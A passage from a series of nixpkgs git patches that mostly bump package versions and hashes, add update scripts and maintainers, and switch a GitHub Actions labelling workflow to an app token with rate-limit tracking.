     maintainers = with maintainers; [
       ttuegel
@@ -50,4 +50,4 @@ stdenv.mkDerivation rec {
     platforms = platforms.unix;
     mainProgram = "vcsh";
   };
-}
+})

From f51fb8951a7126b3435841dcb736a3b1061580cc Mon Sep 17 00:00:00 2001
From: eiraniko <>
Date: Mon, 23 Jun 2025 22:04:34 +0800
Subject: [PATCH 1466/4511] vcsh: 2.0.8 -> 2.0.10

Diff: RichiH/vcsh@v2.0.8...v2.0.10

Changelog: https://github.com/RichiH/vcsh/blob/v2.0.10/changelog
(cherry picked from commit c249aba29ec883896c21821ebaef26123bc0ae23)
---
 pkgs/by-name/vc/vcsh/package.nix | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/vc/vcsh/package.nix b/pkgs/by-name/vc/vcsh/package.nix
index 18a33a5c3cbd..162afbbfdf08 100644
--- a/pkgs/by-name/vc/vcsh/package.nix
+++ b/pkgs/by-name/vc/vcsh/package.nix
@@ -2,24 +2,30 @@
   lib,
   stdenv,
   fetchurl,
+  autoconf,
+  automake,
   makeWrapper,
   pkg-config,
+  unzip,
   git,
   perlPackages,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "vcsh";
-  version = "2.0.8";
+  version = "2.0.10";
 
   src = fetchurl {
-    url = "https://github.com/RichiH/vcsh/releases/download/v${finalAttrs.version}/vcsh-${finalAttrs.version}.tar.xz";
-    sha256 = "sha256-VgRA3v5PIKwizmXoc8f/YMoMCDGFJK/m2uhq3EsT1xQ=";
+    url = "https://github.com/RichiH/vcsh/releases/download/v${finalAttrs.version}/vcsh-${finalAttrs.version}.zip";
+    hash = "sha256-M/UME2kNCxwzngKXMYp0cdps7LWVwoS2I/mTrvPts7g=";
   };
 
   nativeBuildInputs = [
-    pkg-config
+    autoconf
+    automake
     makeWrapper
+    pkg-config
+    unzip
   ];
 
   buildInputs = [ git ];

From fe2bfa89f5aaa0538ee6ab645a94fc3267e9dfd9 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 18 Jun 2025 16:48:02 -0400
Subject: [PATCH 1467/4511] linuxPackages.rtw88: 0-unstable-2024-08-22 ->
 0-unstable-2025-05-08

Changes: lwfinger/rtw88@764a1ee307..461b696b51
(cherry picked from commit 5254700b73d8a15489248ef8008dccd89a90692e)
---
 pkgs/os-specific/linux/rtw88/default.nix | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/rtw88/default.nix b/pkgs/os-specific/linux/rtw88/default.nix
index 70c36a670bc9..f29474ae34b8 100644
--- a/pkgs/os-specific/linux/rtw88/default.nix
+++ b/pkgs/os-specific/linux/rtw88/default.nix
@@ -4,6 +4,7 @@
   fetchFromGitHub,
   kernel,
   kernelModuleMakeFlags,
+  unstableGitUpdater,
 }:
 
 let
@@ -11,13 +12,13 @@ let
 in
 stdenv.mkDerivation {
   pname = "rtw88";
-  version = "0-unstable-2024-08-22";
+  version = "0-unstable-2025-05-08";
 
   src = fetchFromGitHub {
     owner = "lwfinger";
     repo = "rtw88";
-    rev = "764a1ee307d7e5720a93b8139c94d76737eced91";
-    hash = "sha256-xHo9Qww3w36/UFhMhoLjSzZKpC2VKywJZlCPL30XirA=";
+    rev = "461b696b51317ba4ca585a4ddb32f2e72cd4efc9";
+    hash = "sha256-PBAON2s7gKvpO40vppahEtkWJ4HIjbOjfUz+fx87gIA=";
   };
 
   nativeBuildInputs = kernel.moduleBuildDependencies;
@@ -37,6 +38,8 @@ stdenv.mkDerivation {
     runHook postInstall
   '';
 
+  passthru.updateScript = unstableGitUpdater { hardcodeZeroVersion = true; };
+
   meta = with lib; {
     description = "Backport of the latest Realtek RTW88 driver from wireless-next for older kernels";
     homepage = "https://github.com/lwfinger/rtw88";

From 7cf6bd4c7267e27699eb094e214b2c719772d1de Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 22 Jun 2025 14:05:26 +0800
Subject: [PATCH 1468/4511] barman: fix changelog

(cherry picked from commit 0d76ae1c625fe6e4be7aa8300419bbd1d1f1d049)
---
 pkgs/by-name/ba/barman/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ba/barman/package.nix b/pkgs/by-name/ba/barman/package.nix
index f5696dcab8f5..0883a8a0b7df 100644
--- a/pkgs/by-name/ba/barman/package.nix
+++ b/pkgs/by-name/ba/barman/package.nix
@@ -62,7 +62,7 @@ python3Packages.buildPythonApplication rec {
   meta = {
     description = "Backup and Recovery Manager for PostgreSQL";
     homepage = "https://www.pgbarman.org/";
-    changelog = "https://github.com/EnterpriseDB/barman/blob/release/${src.tag}/NEWS";
+    changelog = "https://github.com/EnterpriseDB/barman/blob/${src.tag}/RELNOTES.md";
     mainProgram = "barman";
     license = lib.licenses.gpl3Plus;
     maintainers = with lib.maintainers; [ freezeboy ];

From a15a4ab751bdf2e9cddca28f359dcc223521bf9f Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 22 Jun 2025 14:09:07 +0800
Subject: [PATCH 1469/4511] barman: add update script

(cherry picked from commit 7fe12ac61bddad80916c555293c0f591be78f81d)
---
 pkgs/by-name/ba/barman/package.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/by-name/ba/barman/package.nix b/pkgs/by-name/ba/barman/package.nix
index 0883a8a0b7df..b2d1aab44320 100644
--- a/pkgs/by-name/ba/barman/package.nix
+++ b/pkgs/by-name/ba/barman/package.nix
@@ -4,6 +4,7 @@
   fetchFromGitHub,
   python3Packages,
   versionCheckHook,
+  nix-update-script,
 }:
 
 python3Packages.buildPythonApplication rec {
@@ -59,6 +60,15 @@ python3Packages.buildPythonApplication rec {
       "test_get_file_mode"
     ];
 
+  passthru = {
+    updateScript = nix-update-script {
+      extraArgs = [
+        "--version-regex"
+        "^release/(\\d+\\.\\d+\\.\\d+)$"
+      ];
+    };
+  };
+
   meta = {
     description = "Backup and Recovery Manager for PostgreSQL";
     homepage = "https://www.pgbarman.org/";

From 9b313859a2d94dcb54a12d06e00bcbc7abe3676c Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 22 Jun 2025 14:11:21 +0800
Subject: [PATCH 1470/4511] barman: fix building with python 3.13

(cherry picked from commit 8816ae8e9c492a2c5a205d7f1c4edfbba4fa6e70)
---
 pkgs/by-name/ba/barman/package.nix | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ba/barman/package.nix b/pkgs/by-name/ba/barman/package.nix
index b2d1aab44320..5303f302fa88 100644
--- a/pkgs/by-name/ba/barman/package.nix
+++ b/pkgs/by-name/ba/barman/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch2,
   python3Packages,
   versionCheckHook,
   nix-update-script,
@@ -19,7 +20,14 @@ python3Packages.buildPythonApplication rec {
     hash = "sha256-ffedLH7b/Z1y+yL5EkFJIGdksQZEKc3uu3KOyNc2plw=";
   };
 
-  patches = [ ./unwrap-subprocess.patch ];
+  patches = [
+    ./unwrap-subprocess.patch
+    # fix building with Python 3.13
+    (fetchpatch2 {
+      url = "https://github.com/EnterpriseDB/barman/commit/931f997f1d73bbe360abbca737bea9ae93172989.patch?full_index=1";
+      hash = "sha256-0aqyjsEabxLf4dpC4DeepmypAl7QfCedh7vy98iVifU=";
+    })
+  ];
 
   build-system = with python3Packages; [
     distutils

From b39c9e09254d9c78bf8fd5ae5818ad2c5135f5d5 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 22 Jun 2025 14:11:21 +0800
Subject: [PATCH 1471/4511] barman: 3.13.3 -> 3.14.1

(cherry picked from commit d00bf419a2822f8d9c23af5d76086d48978c74a4)
---
 pkgs/by-name/ba/barman/package.nix | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/ba/barman/package.nix b/pkgs/by-name/ba/barman/package.nix
index 5303f302fa88..22a7882acb61 100644
--- a/pkgs/by-name/ba/barman/package.nix
+++ b/pkgs/by-name/ba/barman/package.nix
@@ -4,20 +4,21 @@
   fetchFromGitHub,
   fetchpatch2,
   python3Packages,
+  rsync,
   versionCheckHook,
   nix-update-script,
 }:
 
 python3Packages.buildPythonApplication rec {
   pname = "barman";
-  version = "3.13.3";
+  version = "3.14.1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "EnterpriseDB";
     repo = "barman";
     tag = "release/${version}";
-    hash = "sha256-ffedLH7b/Z1y+yL5EkFJIGdksQZEKc3uu3KOyNc2plw=";
+    hash = "sha256-Z3+PgUJcyG/M05hMmIhRr3HttzHUDx7BGIs44LA/qE4=";
   };
 
   patches = [
@@ -49,12 +50,13 @@ python3Packages.buildPythonApplication rec {
     python-snappy
   ];
 
-  nativeCheckInputs = with python3Packages; [
-    mock
-    pytestCheckHook
+  nativeCheckInputs = [
+    python3Packages.lz4
+    python3Packages.mock
+    python3Packages.pytestCheckHook
+    python3Packages.zstandard
+    rsync
     versionCheckHook
-    zstandard
-    lz4
   ];
 
   disabledTests =

From dc1ddd8527fbd88cbcd90572d0d42a54f5b34c0b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 21 May 2025 06:46:50 +0000
Subject: [PATCH 1472/4511] firezone-headless-client: 1.4.7 -> 1.4.8

(cherry picked from commit 1903092fe3f8c71110dc602d5b1d6a7e227225be)
---
 pkgs/by-name/fi/firezone-headless-client/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fi/firezone-headless-client/package.nix b/pkgs/by-name/fi/firezone-headless-client/package.nix
index 38b01292bb9c..ccb5c9dde5b9 100644
--- a/pkgs/by-name/fi/firezone-headless-client/package.nix
+++ b/pkgs/by-name/fi/firezone-headless-client/package.nix
@@ -6,16 +6,16 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "firezone-headless-client";
-  version = "1.4.7";
+  version = "1.4.8";
   src = fetchFromGitHub {
     owner = "firezone";
     repo = "firezone";
     tag = "headless-client-${version}";
-    hash = "sha256-2zRuOY8D6NEopKg13bvJoTR7uXZ4wm40VFvR3NRKqJc=";
+    hash = "sha256-JfsOiNTwwpO998mKA1ZGZTdZfzOgP6AKBkg8cuaqKr0=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-YETCRhECbMTRmNsvOFl7R2YScY6ArjsOYJKdPVuUyGI=";
+  cargoHash = "sha256-Ok+pyGG5VHJbsKenKBr0mM1XRoOiAso0ebeQ5hDuwjM=";
   sourceRoot = "${src.name}/rust";
   buildAndTestSubdir = "headless-client";
   RUSTFLAGS = "--cfg system_certs";

From 3f7bdd8cb4726017e5adfc593b878dfa300c5331 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 11 Jun 2025 01:32:32 +0000
Subject: [PATCH 1473/4511] firezone-headless-client: 1.4.8 -> 1.5.0

(cherry picked from commit 3c30885918bb5895300617356633d4e1e3b35f88)
---
 pkgs/by-name/fi/firezone-headless-client/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fi/firezone-headless-client/package.nix b/pkgs/by-name/fi/firezone-headless-client/package.nix
index ccb5c9dde5b9..3b18f16e89aa 100644
--- a/pkgs/by-name/fi/firezone-headless-client/package.nix
+++ b/pkgs/by-name/fi/firezone-headless-client/package.nix
@@ -6,16 +6,16 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "firezone-headless-client";
-  version = "1.4.8";
+  version = "1.5.0";
   src = fetchFromGitHub {
     owner = "firezone";
     repo = "firezone";
     tag = "headless-client-${version}";
-    hash = "sha256-JfsOiNTwwpO998mKA1ZGZTdZfzOgP6AKBkg8cuaqKr0=";
+    hash = "sha256-3iU7AHu3GupqiZEDkuOEb+rFPA2KB1fjVNX1BY4abXc=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-Ok+pyGG5VHJbsKenKBr0mM1XRoOiAso0ebeQ5hDuwjM=";
+  cargoHash = "sha256-p2zLhLFL6NbHvVojQU5+1amf+Kh0jRAbIESPt2vqWwg=";
   sourceRoot = "${src.name}/rust";
   buildAndTestSubdir = "headless-client";
   RUSTFLAGS = "--cfg system_certs";

From 388bb95e4d6c32b45c01c20555e7579fd5480ae9 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sat, 14 Jun 2025 14:28:11 -0400
Subject: [PATCH 1474/4511] maintainers: add mdaniels5757

(cherry picked from commit e98029e0d8cebd42bf4ba6fcbebfcbf3f5fa994c)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 01d0a68aa4a7..8e5b1bf99d55 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -15712,6 +15712,12 @@
     githubId = 1377571;
     name = "Matthew S. Daiter";
   };
+  mdaniels5757 = {
+    email = "nix@mdaniels.me";
+    github = "mdaniels5757";
+    githubId = 8762511;
+    name = "Michael Daniels";
+  };
   mdarocha = {
     email = "marek@mdarocha.pl";
     github = "mdarocha";

From 2d19ecccdace2bf8b778fb21088f8f00cb005e18 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sat, 14 Jun 2025 14:28:16 -0400
Subject: [PATCH 1475/4511] which: add passthru.updateScript, switch to
 finalAttrs

(cherry picked from commit dcb742ed4a57869091e456adad72adc480aeb6af)
---
 pkgs/by-name/wh/which/package.nix | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/wh/which/package.nix b/pkgs/by-name/wh/which/package.nix
index a739a54f474d..b58c7fa85ae7 100644
--- a/pkgs/by-name/wh/which/package.nix
+++ b/pkgs/by-name/wh/which/package.nix
@@ -2,20 +2,26 @@
   lib,
   stdenv,
   fetchurl,
+  directoryListingUpdater,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "which";
   version = "2.23";
 
   src = fetchurl {
-    url = "mirror://gnu/which/which-${version}.tar.gz";
+    url = "mirror://gnu/which/which-${finalAttrs.version}.tar.gz";
     hash = "sha256-osVYIm/E2eTOMxvS/Tw/F/lVEV0sAORHYYpO+ZeKKnM=";
   };
 
   strictDeps = true;
   enableParallelBuilding = true;
 
+  passthru.updateScript = directoryListingUpdater {
+    inherit (finalAttrs) pname version;
+    url = "https://ftp.gnu.org/gnu/which/";
+  };
+
   meta = {
     homepage = "https://www.gnu.org/software/which/";
     description = "Shows the full path of (shell) commands";
@@ -23,4 +29,4 @@ stdenv.mkDerivation rec {
     mainProgram = "which";
     platforms = lib.platforms.all;
   };
-}
+})

From 3b3b049396e250d1fc9d0fc8d59ab2e8b69be7a6 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sat, 14 Jun 2025 14:28:21 -0400
Subject: [PATCH 1476/4511] which: add mdaniels5757 as maintainer

(cherry picked from commit 91e5b8158cda97bfda7850039b4e8e643a548016)
---
 pkgs/by-name/wh/which/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/wh/which/package.nix b/pkgs/by-name/wh/which/package.nix
index b58c7fa85ae7..c03d7a711da9 100644
--- a/pkgs/by-name/wh/which/package.nix
+++ b/pkgs/by-name/wh/which/package.nix
@@ -26,6 +26,7 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "https://www.gnu.org/software/which/";
     description = "Shows the full path of (shell) commands";
     license = lib.licenses.gpl3Plus;
+    maintainers = with lib.maintainers; [ mdaniels5757 ];
     mainProgram = "which";
     platforms = lib.platforms.all;
   };

From f3f16eaaaf04cc57d1ac925037512dd830148092 Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Mon, 23 Jun 2025 17:07:21 +0200
Subject: [PATCH 1477/4511] tauno-monitor: 0.2.0 -> 0.2.1

(cherry picked from commit 7e71204f2ccd0ef91acd103d6c4a76b8697cd019)
---
 pkgs/by-name/ta/tauno-monitor/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ta/tauno-monitor/package.nix b/pkgs/by-name/ta/tauno-monitor/package.nix
index 709db657b9c8..0c165057e334 100644
--- a/pkgs/by-name/ta/tauno-monitor/package.nix
+++ b/pkgs/by-name/ta/tauno-monitor/package.nix
@@ -13,14 +13,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "tauno-monitor";
-  version = "0.2.0";
+  version = "0.2.1";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "taunoe";
     repo = "tauno-monitor";
     tag = "v${version}";
-    hash = "sha256-144kRMhZUwgn3BRy6c0A5Fwh1Yisuf7H2s/0ChpIKVI=";
+    hash = "sha256-WsBov5ftt0lXw3fC04EGAFj1imDaPAmKvWDC5a1y9+k=";
   };
 
   nativeBuildInputs = [

From 2e26b87f68d6113b47149a796dcf3ddc22856464 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Mon, 2 Jun 2025 06:01:26 +0200
Subject: [PATCH 1478/4511] proton-ge-bin: GE-Proton10-3 -> GE-Proton10-4

(cherry picked from commit 545535eb5c49af73789d58407fdf805723c4b005)
---
 pkgs/by-name/pr/proton-ge-bin/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/proton-ge-bin/package.nix b/pkgs/by-name/pr/proton-ge-bin/package.nix
index 3a24fa2ae7dd..d5bf56c940f4 100644
--- a/pkgs/by-name/pr/proton-ge-bin/package.nix
+++ b/pkgs/by-name/pr/proton-ge-bin/package.nix
@@ -9,11 +9,11 @@
 }:
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "proton-ge-bin";
-  version = "GE-Proton10-3";
+  version = "GE-Proton10-4";
 
   src = fetchzip {
     url = "https://github.com/GloriousEggroll/proton-ge-custom/releases/download/${finalAttrs.version}/${finalAttrs.version}.tar.gz";
-    hash = "sha256-V4znOni53KMZ0rs7O7TuBst5kDSaEOyWUGgL7EESVAU=";
+    hash = "sha256-Si/CQ2PINfhmsC+uW3iFBUoSczZdkqwCZ8FAFuipu68=";
   };
 
   dontUnpack = true;

From 8c1b297d9f9738b4b4ba9689b4cf00e06360719b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 23 Jun 2025 16:49:48 +0000
Subject: [PATCH 1479/4511] libxeddsa: 2.0.0 -> 2.0.1

(cherry picked from commit 0449b4bda4d91031193561d2a66c9fcc18c2ef02)
---
 pkgs/by-name/li/libxeddsa/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libxeddsa/package.nix b/pkgs/by-name/li/libxeddsa/package.nix
index 7b33a5a3f02a..123c8a070343 100644
--- a/pkgs/by-name/li/libxeddsa/package.nix
+++ b/pkgs/by-name/li/libxeddsa/package.nix
@@ -8,13 +8,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "libxeddsa";
-  version = "2.0.0";
+  version = "2.0.1";
 
   src = fetchFromGitHub {
     owner = "Syndace";
     repo = "libxeddsa";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-kdy+S51nQstRFGw5mIW3TW+WBNynHLpmFC1t6Mc02K4=";
+    hash = "sha256-4xBZ3Ul2Mm5fz/vfulFQmWC6+CQB/egiw7NsC/GrUyw=";
   };
 
   strictDeps = true;

From 4910d5a8cc03027ea188c2691e9a9af03d82edfe Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C2=B7=F0=90=91=91=F0=90=91=B4=F0=90=91=95=F0=90=91=91?=
 =?UTF-8?q?=F0=90=91=A9=F0=90=91=A4?= <toastal@posteo.net>
Date: Mon, 23 Jun 2025 23:36:51 +0700
Subject: [PATCH 1480/4511] factorPackages.buildFactorVocab: fix find directory
 typo

(cherry picked from commit 0c84d34f95dbd0dd15eb47a93d2464a799f0cfb1)
---
 pkgs/development/compilers/factor-lang/mk-vocab.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/compilers/factor-lang/mk-vocab.nix b/pkgs/development/compilers/factor-lang/mk-vocab.nix
index 9d5925aa6de0..3d929498fbac 100644
--- a/pkgs/development/compilers/factor-lang/mk-vocab.nix
+++ b/pkgs/development/compilers/factor-lang/mk-vocab.nix
@@ -41,7 +41,7 @@ drvArgs:
             base=$(basename "${finalAttrs.vocabName}")
             root=''${fname%$base}
             root=''${root:-.}
-            find "$root" -mindepth 1 -maxdepth 1 -type -d \
+            find "$root" -mindepth 1 -maxdepth 1 -type d \
                 -not \( -name bin -or -name doc -or -name lib \) -exec \
                 cp -r -t "$out/lib/factor/${finalAttrs.vocabRoot}" {} \+
         else

From c37036b248ce854a823d3d15336c6f2f960edca1 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 23 Jun 2025 09:20:45 +0200
Subject: [PATCH 1481/4511] workflows/labels: run with app token

This gives us a much higher rate limit of 12.5k requests per hour. If
the app is not available, we fallback to the regular `github.token`.
This can happen when testing in forks without setting up an app.

(cherry picked from commit acc1c0ae59106180ec63f11503d0f4bd090436c4)
---
 .github/workflows/labels.yml | 27 +++++++++++++++++++++------
 .github/workflows/pr.yml     |  2 ++
 2 files changed, 23 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 262a050797b8..7578af452f76 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -13,6 +13,9 @@ on:
       headBranch:
         required: true
         type: string
+    secrets:
+      NIXPKGS_CI_APP_PRIVATE_KEY:
+        required: true
   workflow_dispatch:
     inputs:
       updatedWithin:
@@ -28,6 +31,8 @@ concurrency:
   # PR- and manually-triggered runs will be cancelled, but scheduled runs will be queued.
   cancel-in-progress: ${{ github.event_name != 'schedule' }}
 
+# This is used as fallback without app only.
+# This happens when testing in forks without setting up that app.
 permissions:
   issues: write # needed to create *new* labels
   pull-requests: write
@@ -44,9 +49,18 @@ jobs:
       - name: Install dependencies
         run: npm install @actions/artifact bottleneck
 
+      # Use a GitHub App, because it has much higher rate limits: 12,500 instead of 5,000 req / hour.
+      - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
+        if: vars.NIXPKGS_CI_APP_ID
+        id: app-token
+        with:
+          app-id: ${{ vars.NIXPKGS_CI_APP_ID }}
+          private-key: ${{ secrets.NIXPKGS_CI_APP_PRIVATE_KEY }}
+          permission-pull-requests: write
+
       - name: Log current API rate limits
         env:
-          GH_TOKEN: ${{ github.token }}
+          GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }}
         run: gh api /rate_limit | jq
 
       - name: Labels from API data and Eval results
@@ -54,6 +68,7 @@ jobs:
         env:
           UPDATED_WITHIN: ${{ inputs.updatedWithin }}
         with:
+          github-token: ${{ steps.app-token.outputs.token || github.token }}
           script: |
             const Bottleneck = require('bottleneck')
             const path = require('node:path')
@@ -272,7 +287,7 @@ jobs:
 
       - name: Log current API rate limits
         env:
-          GH_TOKEN: ${{ github.token }}
+          GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }}
         run: gh api /rate_limit | jq
 
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
@@ -281,7 +296,7 @@ jobs:
           github.event_name == 'pull_request_target' &&
           !contains(fromJSON(inputs.headBranch).type, 'development')
         with:
-          repo-token: ${{ secrets.GITHUB_TOKEN }}
+          repo-token: ${{ steps.app-token.outputs.token }}
           configuration-path: .github/labeler.yml # default
           sync-labels: true
 
@@ -291,7 +306,7 @@ jobs:
           github.event_name == 'pull_request_target' &&
           !contains(fromJSON(inputs.headBranch).type, 'development')
         with:
-          repo-token: ${{ secrets.GITHUB_TOKEN }}
+          repo-token: ${{ steps.app-token.outputs.token }}
           configuration-path: .github/labeler-no-sync.yml
           sync-labels: false
 
@@ -304,11 +319,11 @@ jobs:
           github.event_name == 'pull_request_target' &&
           contains(fromJSON(inputs.headBranch).type, 'development')
         with:
-          repo-token: ${{ secrets.GITHUB_TOKEN }}
+          repo-token: ${{ steps.app-token.outputs.token }}
           configuration-path: .github/labeler-development-branches.yml
           sync-labels: true
 
       - name: Log current API rate limits
         env:
-          GH_TOKEN: ${{ github.token }}
+          GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }}
         run: gh api /rate_limit | jq
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 4837ae5f1fc5..d3a6d2a56a82 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -103,6 +103,8 @@ jobs:
     permissions:
       issues: write
       pull-requests: write
+    secrets:
+      NIXPKGS_CI_APP_PRIVATE_KEY: ${{ secrets.NIXPKGS_CI_APP_PRIVATE_KEY }}
     with:
       headBranch: ${{ needs.prepare.outputs.headBranch }}
 

From 1e6f27590cae2426200d8a3064342378a1b5be6d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 23 Jun 2025 09:42:14 +0200
Subject: [PATCH 1482/4511] workflows/labels: dynamically adjust reservoir to
 remaining rate limit

Instead of approximating how many requests we can still make and hoping
the best that concurrent jobs won't break the bank, we can just work
with the actual limits. By updating regularly, we make sure that
concurrent jobs are taken into account. We always keep a reserve of 1000
requests to make sure *any* non-labeling jobs using this app will always
succeed.

This will allow us to easily backfill labels across multiple days,
especially taking the increased rate limit for the app into account.
With this, we should get up to 11.5k requests per hour in.

(cherry picked from commit 24e7e47c91afc7e1c264c14c723a7f57e5241dee)
---
 .github/workflows/labels.yml | 34 +++++++++++++++++++++++++++++-----
 1 file changed, 29 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 7578af452f76..83cf0511fc5e 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -33,6 +33,8 @@ concurrency:
 
 # This is used as fallback without app only.
 # This happens when testing in forks without setting up that app.
+# Labels will most likely not exist in forks, yet. For this case,
+# we add the issues permission only here.
 permissions:
   issues: write # needed to create *new* labels
   pull-requests: write
@@ -56,6 +58,8 @@ jobs:
         with:
           app-id: ${{ vars.NIXPKGS_CI_APP_ID }}
           private-key: ${{ secrets.NIXPKGS_CI_APP_PRIVATE_KEY }}
+          # No issues: write permission here, because labels in Nixpkgs should
+          # be created explicitly via the UI with color and description.
           permission-pull-requests: write
 
       - name: Log current API rate limits
@@ -89,15 +93,14 @@ jobs:
             const allLimits = new Bottleneck({
               // Avoid concurrent requests
               maxConcurrent: 1,
-              // Hourly limit is at 5000, but other jobs need some, too!
-              // https://docs.github.com/en/rest/using-the-rest-api/rate-limits-for-the-rest-api
-              reservoir: 500,
-              reservoirRefreshAmount: 500,
-              reservoirRefreshInterval: 60 * 60 * 1000
+              // Will be updated with first `updateReservoir()` call below.
+              reservoir: 0
             })
             // Pause between mutative requests
             const writeLimits = new Bottleneck({ minTime: 1000 }).chain(allLimits)
             github.hook.wrap('request', async (request, options) => {
+              // Requests to the /rate_limit endpoint do not count against the rate limit.
+              if (options.url == '/rate_limit') return request(options)
               stats.requests++
               if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(options.method))
                 return writeLimits.schedule(request.bind(null, options))
@@ -105,6 +108,26 @@ jobs:
                 return allLimits.schedule(request.bind(null, options))
             })
 
+            async function updateReservoir() {
+              let response
+              try {
+                response = await github.rest.rateLimit.get()
+              } catch (err) {
+                core.error(`Failed updating reservoir:\n${err}`)
+                // Keep retrying on failed rate limit requests instead of exiting the script early.
+                return
+              }
+              // Always keep 1000 spare requests for other jobs to do their regular duty.
+              // They normally use below 100, so 1000 is *plenty* of room to work with.
+              const reservoir = Math.max(0, response.data.resources.core.remaining - 1000)
+              core.info(`Updating reservoir to: ${reservoir}`)
+              allLimits.updateSettings({ reservoir })
+            }
+            await updateReservoir()
+            // Update remaining requests every minute to account for other jobs running in parallel.
+            const reservoirUpdater = setInterval(updateReservoir, 60 * 1000)
+            process.on('uncaughtException', () => clearInterval(reservoirUpdater))
+
             if (process.env.UPDATED_WITHIN && !/^\d+$/.test(process.env.UPDATED_WITHIN))
               throw new Error('Please enter "updated within" as integer in hours.')
 
@@ -284,6 +307,7 @@ jobs:
               .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`))
 
             core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`)
+            clearInterval(reservoirUpdater)
 
       - name: Log current API rate limits
         env:

From 4e3f30d4c87e55febee63a7eb587b30f7d83421c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 17 Jun 2025 10:14:20 +0000
Subject: [PATCH 1483/4511] wavebox: 10.137.9-2 -> 10.137.11-2

(cherry picked from commit 78a7cd352e5b92fdcd7c4487e37745c84b281005)
---
 pkgs/by-name/wa/wavebox/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wa/wavebox/package.nix b/pkgs/by-name/wa/wavebox/package.nix
index 0f5cb88fa46a..22f49638e404 100644
